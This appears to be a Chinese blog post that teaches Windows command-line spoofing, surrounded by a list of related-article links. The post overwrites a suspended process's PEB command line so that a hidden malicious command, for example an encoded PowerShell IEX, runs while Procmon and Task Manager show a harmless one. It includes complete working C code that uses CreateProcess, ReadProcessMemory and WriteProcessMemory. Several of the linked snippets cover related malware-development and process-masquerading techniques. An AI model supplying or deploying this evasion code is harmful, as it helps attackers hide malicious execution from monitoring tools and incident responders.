Abuse process command line

勒索病毒溯源实战:基于开源靶场的攻击链分析与应急响应指南 在网络安全领域,勒索病毒已成为最具破坏性的威胁之一,其攻击链通常遵循从初始入侵、横向移动到最终数据加密的完整流程。理解其运作原理对于企业安全防护至关重要,这涉及到系统日志分析、网络流量监控和端点行为审计等核心技术。通过构建安全的虚拟化实验环境,安全从业者可以系统化地学习如何从加密结果逆向追踪攻击路径,掌握主机日志(如Linux的auth.log、Windows事件查看器)、网络数据包(Wireshark分析)和内存取证等关键技能。这种“教科书式”的实战训练,不仅能提升应急响应效率,更能帮助构建主动防御体系, 阅读详情

创建进程时,进程的command line保存在,进程环境块PEB的某个结构中。(PEB->_RTL_USER_PROCESS_PARAMETERS->CommandLine)

通过修改这个数据,可以达到隐藏command line的效果,并执行恶意的command line。(例如powershell.exe -w hidden -e IEX xxxx)
具体步骤如下:

0)在创建进程时,带上一个正常的command line,挂起该进程。
1)获取该进程的PEB信息,通过W/RPM函数,读取并修改该进程的command line
2)ResumeThread恢复进程执行

3)Sleep(500)毫秒,通过W/RPM函数,再修改回原来的command line

为什么要再修改回去呢?测试时,直接修改完PEB中保存的command line,是可以的。这种方式可以欺骗Procmon,等日志记录类的监控工具。
但是欺骗不了任务管理器,procexp等自动刷新进程列表的工具,换句话说,修改成恶意命令行以后,打开任务管理器,它会重新从每个进程的PEB中读取最新的command line,并展示出来。
这样的话,再恢复进程执行恶意command line后,再把PEB中修改成原来的command line,就可以做到,每次任务管理器看到的都是最后一次修改过的command line。

下图demo演示:创建cmd进程时执行的command_line 是 /c ping www.baidu.com

但其真实执行的是参数是/c calc.exe
在这里插入图片描述


#include "stdafx.h"
#include <windows.h>
#include <winternl.h>

int main()
{
	typedef NTSTATUS(WINAPI *_NtQueryInformationProcess)(
		_In_      HANDLE           ProcessHandle,
		_In_      PROCESSINFOCLASS ProcessInformationClass,
		_Out_     PVOID            ProcessInformation,
		_In_      ULONG            ProcessInformationLength,
		_Out_opt_ PULONG           ReturnLength
		);


	STARTUPINFOA si = { sizeof(STARTUPINFOA) };
	PROCESS_INFORMATION pi = {};
	CreateProcessA("c:\\windows\\system32\\cmd.exe", "/c ping www.baidu.com", NULL, NULL, NULL, CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);




	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;
	_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)::GetProcAddress(
		LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");

	PROCESS_BASIC_INFORMATION pbi = { 0 };
	NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

	PEB peb = { 0 };
	ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);

	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	CHAR szString[0x200] = {};

	ReadProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szString, Param.CommandLine.Length, NULL);
	printf("按任意键改写命令行参数...\n");
	_gettch();
	WCHAR *szStringWrite=L"/c calc.exe";
	WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szStringWrite, (wcslen(szStringWrite) + 1) * 2, NULL);
	ResumeThread(pi.hThread);
	printf("按任意键恢复命令行参数...\n");
	_gettch();
	// 下面两行注释掉会写失败
	ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
	WCHAR *szStringReWrite = L"/c ping www.baidu.com";
	WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szStringReWrite, (wcslen(szStringReWrite) + 1) * 2, NULL);
	_gettch();
	return 0;
}
Turla APT组织攻击链深度解析:从水坑攻击到无文件渗透的防御实战 高级持续性威胁(APT)攻击是当前网络安全领域面临的严峻挑战,其核心在于通过高度定制化、持续演进的攻击体系,实现对关键目标的长期潜伏与数据窃取。这类攻击通常遵循完整的攻击链,从初始入侵、权限维持到横向移动,最终完成数据外泄。在技术实现上,攻击者常利用水坑攻击、鱼叉式钓鱼等社会工程手段突破边界,并大量采用无文件攻击、内存驻留等先进技术规避检测。其中,Turla组织作为APT攻击的典型代表,其攻击手法充分体现了隐蔽通道构建与合法服务滥用的技术价值。通过深入分析其攻击链中的关键技术点,如WMI事件订阅、Power 阅读详情

相关推荐

Malware Dev 03 - 隐匿之 Command Line Spoofing 原理解析

这篇文章解释了 Command Line Spoofing 的原理,就是通过修改进程 PEB(Process Environment Block) 中的 RTL_USER_PROCESS_PARAMETERS 结构,来达到隐藏真实命令参数的效果。

0pr 1239

CreateProcess的命令行参数

最近使用CreateProcess创建rundll32.exe进程,发现并没有正常加载DLL,后来才发现是命令行参数传错了,CreateProcess并不是我想象的那样,网上找了一下,发现还有许多东西不是想的那么简单。下面的文字翻译自《INFO: Understanding CreateProcess and Command-line Arguments》 创建32位进程时CreateProcess的行为 案例1 如果传递了ApplicationName参数,且CommandLine参数是NULL,那么A

PI2024的专栏 2039

反调试 - NtQueryInformationProcess(ProcessDebugPort,ProcessDebugFlags,ProcessDebugObjectHandle)...

NtQueryInformationProcess 是微软 未公开 的一个 API,嗯,这个反调试的方法有一个特点就是 能过吾爱破解版OD! ,其他版本的OD没有尝试,但相信这种反调试手法可以检测大部分的第三方OD。 首先...

墨鱼菜鸡 821

通过修改peb中的命令行参数字段实现进程创建的劫持

之前分析过的一些恶意软件中会使用这种方法来进行浏览器的主页劫持,其原理就是在进程创建回调函数中处理进程的创建消息。下面示例展示了如何修改命令行参数:以abcdefg.exe进程为例,其完整文件路径为:"C:\Users\1909\Desktop\abcdefg.exe";进修改后变为:"C:\Users\1909\Desktop\abcdefg.exe" -124,当然也可以变为:"C:\Users\1909\Desktop\abcd.exe" -124。

pureman_mega的博客 603

修改程序的peb过某些防火墙

现在自己构造数据包进行发送已经不是很现实了,简单的数据还行,如果是大的数据,比如发送一个文件,比如不停的和外界的服务器保持联系,都是很不方便的,所以找到了一个方法,就是将程序的peb修改成和某些系统进程一样的peb,这样就在一定程度上伪装成了系统进程,这里以lsass.exe为例。有关peb的资料请自己查相关资料,或者是好好看看 windows核心编程,windows程序设计。首先声明相关的结

天使的薄荷 1471

PEBFake:PEBFake(修改PEB 伪装当前进程路径、参数等)

Fake process imagepath and name BTW 当然你可以去修改其他进程的PEB信息,参考: 测试效果

获得目标进程PEB,并获得进程各种信息

本程序可完美获得x64和x86程序PEB,及环境变量等信息。 程序首先用OpenProcess打开目标进程,然后用Ntddl.dll导入表中微软未公开函数NtWow64QueryInformationProcess64(NtQueryInformationProcess)、NtWow64ReadVirtualMemory64(ReadProcessMemory)来获得目标进程信息。 // En...

weixin_33762130的博客 1267

STM32开发工具链选型:MDK、CubeIDE、VSCode与IAR深度对比

嵌入式开发工具链是连接软件逻辑与硬件行为的核心枢纽,其选择直接影响代码可靠性、调试效率与量产稳定性。从编译器优化能力、调试协议支持(如ARM CoreSight、SWO)、硬件抽象层级(寄存器/LL/HAL)到跨平台构建能力,不同工具在实时性保障、静态分析合规性(如MISRA-C)、WCET可预测性及生态开放度上存在本质差异。尤其在STM32平台,Keil MDK凭借深度调试能力成为HardFault定位首选,STM32CubeIDE依托图形化配置加速外设初始化,而VSCode+PlatformIO则以LS

weixin_42602368的博客 429

进程伪装详解

当我们获取到一台主机的权限过后,拿到了自己想要搜集的信息,这时候我们就会留一个后门进行权限维持,权限维持的学问其实很深,今天就主要介绍其中一种比较简单的权限维持的方法 -- 进程伪装。我们知道在windows里面有很多系统进程,如。

星星我啊,已经很努力在学习了, 有人一起学习吗?Ziansec-1 2844

利用ArcGIS快速生成等高线边界,完成地形图拼图

地形图边界一般在CAD中手动绘制,然而,一幅边缘复杂的地形图边界的绘制需要花费大量时间和精力,为了减少重复性工作,提高效率,用ArcGIS软件可以自动生成实测地形图的边界

yl14774636230的博客 9068

港口集装箱码头运营FlexSim仿真

列队4中的集装箱会根据不同类型的集装箱会放置在不同的堆场,因此根据前面对集装箱设置的标签Type的数值不同,设置不同的发送端口。集装箱到达列队3后,会有70%的集装箱到达堆场,30%的集装箱运出港口,因此在Queue列队3的Flow界面设置按照百分比发送端口,其中70%发送到端口1,即发送到列队4等待进入堆场,30%发送到端口2,即发送至出闸口。通过上述对比表格可以看出,当集卡数量在10的时候,岸桥和场桥的设备利用率达到了最高,当集卡数量为12的时候场桥1和场桥3的利用率有所下降,因此综合考虑。

m0_72514516的博客 1331

一文读懂盲降噪:SCUNet-color-real-gan-fp32为何无需噪声参数也能去噪?

**盲降噪(Blind Denoising)** 是指不需要你告诉它“噪点有多强”的智能降噪技术。[SCUNet-color-real-gan-fp32](https://link.gitcode.com/i/2346adc3548f1dccdad2da84e60e1ada) 就是一个专为 Apple Silicon 打造的盲降噪模型——SCUNet 真实噪声去噪的对抗训练(real-gan)变体

gitblog_00577的博客 487

【大模型】DeepSeek 高级提示词技巧使用详解

DeepSeek 高级提示词技巧使用详解

congge 1万+

拆解Web渗透底层逻辑:从溯源发展史到实战核心全维度指南

Web渗透测试是一套标准化、流程化、逻辑化、合规化的完整技术体系,绝非零散工具的堆砌。1. 信息收集是渗透的基石,决定测试深度与成功率,核心在于精细化、绕过防护挖掘隐性信息;2. 高危漏洞探测与利用是核心突破,需吃透漏洞原理,规避工具误报、WAF拦截等问题;3. 权限提升与内网渗透是进阶核心,是区分入门与资深渗透工程师的关键;4. 日志清理与复盘是职业化核心,适配企业合规测试场景。从发展趋势来看,Web安全攻防对抗会持续升级,自动化渗透、AI漏洞挖掘、云原生安全、API安全将成为未来主流方向。

2501_92125808的博客 589

基于matlab的CNN手写数字图像矫正系统

CNN 是一款强大的图像特征抽象和提取工具,常用于图像分类识别,并取得了较为理想的效果。我们通过 MATLAB 可以方便地设计不同结构、不同深度的 CNN 进行图像分类,最后一层一般设置为分类层(ClassificationLayer)进行类别标签的输出。如果我们将最后一层设计为回归层(RegressionLayer),则可以将其应用于对连续数据的预测,这对于曲线拟合、预测分析都有重要的意义。% 自定义 CNN 回归网络结构layers = [% 输入% 卷积% 池化% 池化% 卷积。

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 675

Python实战:打造学生信息管理系统

通过本教程,我们构建了一个简单的学生信息管理系统,实现了基本的添加、删除、修改和查询功能。当然,这个系统还有很多可以改进和扩展的地方,比如添加用户界面、增加数据持久化功能、支持批量操作等。简介:本文将介绍如何使用Python编写一个功能齐全的学生信息管理系统,包括添加、删除、修改和查询学生信息的基本操作。学生信息管理系统是学校日常管理中不可或缺的一部分,它能够帮助管理人员快速、准确地管理学生信息,提高工作效率。为了实现上述功能,我们可以设计一个包含学生信息的字典,并使用函数来封装各个操作。

铭渊老黄 1489

电科金仓数据库V9版本Linux版本安装体验

本文记录了电科金仓数据库V9版本在Linux系统上的安装过程。首先创建安装目录并设置权限,然后挂载ISO镜像文件。通过执行setup.sh脚本启动控制台安装程序,安装过程中展示了欢迎信息和许可协议内容。安装程序提示用户关闭其他应用程序、保存文档,并可能需要重启系统。许可协议详细说明了软件使用条款和版权信息。整个安装过程采用命令行交互方式,用户需要按提示进行操作确认。

Mrzhou的博客 148

使用 MATLAB/Simulink 搭建一个 无人机群间数据交换与协同控制仿真系统

本文提供了一份详细的Simulink无人机群协同控制仿真教程。主要内容包括:无人机群系统架构设计(去中心化网络、通信分层)、三维运动建模、空-空通信链路实现(距离判断、无线信道)、分布式Consensus控制算法开发,以及性能评估指标设定。教程采用模块化设计思路,通过ModelReference构建多无人机并行模型,并给出了MATLAB函数实现关键算法。最后展示了预期仿真结果(收敛时间<15s、位置偏差<2m)和进阶应用方向(编队飞行、AI协同等),帮助读者掌握群体智能系统的建模与仿真方法。

amy_mhd的博客 155

【argue】进程参数欺骗

进程参数欺骗原理 我们了解到利用argue进程参数欺骗可以在一定程度上绕过杀软拦截。它的原理是怎样的? 首先我们可以了解到,在一个进程运行后,它的运行参数是保存在进程空间的。如果我们获取到保存参数的进程内存地址,并将参数进行修改(修改并不影响原始的参数功能,因为在修改之前已经被启动了)那么就可以达到“欺骗”杀软,达到不被拦截的目的。至于参数保存在进程空间的哪里,如何去获取就是接下来要讨论的。 PEB进程环境块 PEB进程环境块中存放进程相关的一些信息,而我们需要的commandline就保存在PEB里。与P

dr0op's blog 990

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

IDEA报错:Process ‘command ‘./Java/jdk1.8.0_131/bin/java.exe‘‘ finished with non-zero exit value 1 解决!

IDEA的下gradle项目运行test下的main()方法报错: Exception in thread “main” java.lang.NoClassDefFoundError: com/xxxx/xxxx/xxxx/xxxx at java.lang.ClassLoader.defineClass1(Native Method) at java.lang.ClassLoader.defineClass(ClassLoader.java:763) at java.security.SecureClas

chy_want的博客 4万+

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

无聊写个示例程序,改自身PEB欺骗SREng

freesoft00 freesoft00当前离线 UID129513在线时间490 小时帖子1290积分2589技术0 魅力0 人气21 活力1202 性别保密经验2589 阅读权限30最后登录2012-6-29主题57精华0 卡饭_见习写手 距离下一级还需 411 积分 积分2589技术0 魅力0 人气21 注册

wdykanq的专栏 2196

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

驱动锁主页

思路:处理进程预加载回调,如果是指定的浏览器进程 附加它,然后通过EPROCESS 获取PEB 找出parameter的命令行参数 给它加上指定的网址就可以了.

qq_41490873的博客 531

【旧文章搬运】获取并修改PEB中的映像路径,命令行和当前目录

原文发表于百度空间,2008-7-24 当时对UNICODE_STRING的使用还有点问题,导致最终效果图中字符串被截断了========================================================================== 先从分析PEB开始吧.感觉分析这个东西,首先要把类型定义搞清楚,这个在Windbg里dt _PEB就可以了搞清楚定义主要是为...

weixin_30709929的博客 447

获取进程命令行参数

#include &lt;Winternl.h&gt;void GetProcessCommandLine(DWORD pid){ pid = 1688; HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (INVALID_HANDLE_VALUE != hProc) { HANDLE hNewProcess = NUL...

donglinshengan的专栏 4700

Process Command 执行命令行

[code="java"] private String cmdExecute(String[] args, String workdirectory){ ProcessBuilder cmd; String result = ""; try { cmd = new ProcessBuilder(args); cmd.directory(new File(wo...

Active 965
上一篇: 创建进程时指定父进程
下一篇: COM编程学习笔记
FFE4
博客等级 码龄9年 234粉丝 166原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值